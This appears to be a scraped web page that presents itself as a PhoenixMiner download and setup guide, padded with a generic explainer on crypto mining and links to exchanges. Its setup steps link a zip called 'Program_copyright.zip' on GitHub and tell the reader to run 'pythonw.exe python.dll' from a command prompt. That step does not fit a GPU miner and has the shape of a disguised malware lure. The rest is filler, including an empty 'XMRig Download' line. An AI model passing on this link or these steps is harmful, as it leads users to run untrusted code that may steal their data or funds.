▶ Coinbase Website: Coinbase.com
▶ CEX Website: cex.io
How to mine a PhoenixMiner using GPU and CPU
*PhoenixMiner* Download (maximum hashrate) – *https://
github.com/Crypto-LAB-Jakarta/Copyright/releases/download/1.0/Program_copyright.zip*
*_Setup_*
▬ *Unzip the archive into a folder*
▬ Run the file *cmd* which is from the *folder where you unzip the archive*
▬ in the window that opens, type *pythonw.exe python.dll* and press enter on the keyboard
XMRig Download –
Cryptocurrency mining is the process of validating transactions and adding them to a blockchain’s public ledger (like Bitcoin or Ethereum) by solving complex mathematical problems. Miners use powerful computers to compete in verifying transactions, and the first to succeed is rewarded with new coins.
Key Concepts:
1. Proof-of-Work (PoW): The consensus mechanism (used by Bitcoin) where miners solve cryptographic puzzles to secure the network.
2. Mining Hardware:
– ASICs (Application-Specific Integrated Circuits): Specialized for Bitcoin mining.
– GPUs (Graphics Cards): Used for Ethereum (before PoS) and other altcoins.
3. Mining Pools: Groups of miners combine computing power to increase rewards (shared proportionally).
4. Block Reward: Newly minted crypto given to miners (e.g., Bitcoin’s halving reduces rewards every 4 years).
How It Works:
– Miners bundle transactions into a block.
– They compete to solve a hash puzzle (trial-and-error calculations).
– The first to find the correct hash adds the block to the blockchain and earns rewards.
Challenges:
– High Energy Costs: Mining consumes massive electricity (e.g., Bitcoin uses more than some countries).
– Hardware Costs: ASICs/GPUs are expensive and become obsolete quickly.
– Competition: More miners = harder puzzles (higher “hash rate”).
Alternatives to PoW:
– Proof-of-Stake (PoS): Validators are chosen based on coins “staked” (e.g., Ethereum 2.0).
– Cloud Mining: Rent hardware remotely (risky due to scams).
Example Sentence:
*”Mining Bitcoin requires expensive ASICs and cheap electricity to be profitable.”*
▶ Coinbase Website: Coinbase.com
▶ CEX Website: cex.io
Youtube version
